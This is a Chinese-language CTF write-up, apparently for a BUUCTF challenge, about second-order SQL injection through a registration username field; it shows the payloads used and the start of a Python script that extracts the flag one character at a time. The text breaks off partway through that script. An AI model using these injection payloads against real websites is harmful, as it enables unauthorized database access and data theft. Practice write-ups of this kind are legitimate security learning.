一、自己做:
测试,看到用户名有回显,那么就是又一次从数据库中查询数据,可能有SQL注入的可能,然后我在注册用户名的时候,加上了 '
,然后就死活注册不了,,
也不给我报错,,我在这里也想了一会,,想不明白
后来想到了,可能是报错,然后就没执行,然后我用了万能密码来的。
用户名:a'1 or '1
。
你注册成功后,他就会自动跳转到login.php的。
然后用邮箱,密码登陆成功了。 用户名为 :1 。
接着测试一下:
,,直接没有变化,也就是 注册失败了。
在意料之内,这就表示 0 ,错误了,
然后进一步测试:
呃,有过滤,fuzz一下把,
用户名 : a1' or '(ascii(substr(database(),1,1))>0)
过滤的好像不多(至少从我的字典中看来):
这些都被过滤了。
二、学到的
- 这个 直接出 substr的数值,这个思路不需要 bool 注入点。强的一批。思路真心牛皮。
- 如果能够使用 substr 带出数据的话,试一下这个思路,不用bool注入点能够带出,同样,这个就不是bool注入了,是 二次注入。第二次查询。
三、 学习WP
payload的思路直接是抄袭的,侵权了联系我。
python爬虫 + re 尝试(尝试思路,):
1. substr思路:
注意,这里要带上 session,每一次注册,登陆是一次,是有记忆的。
#coding:utf-8
import requests
import re
url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {
'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'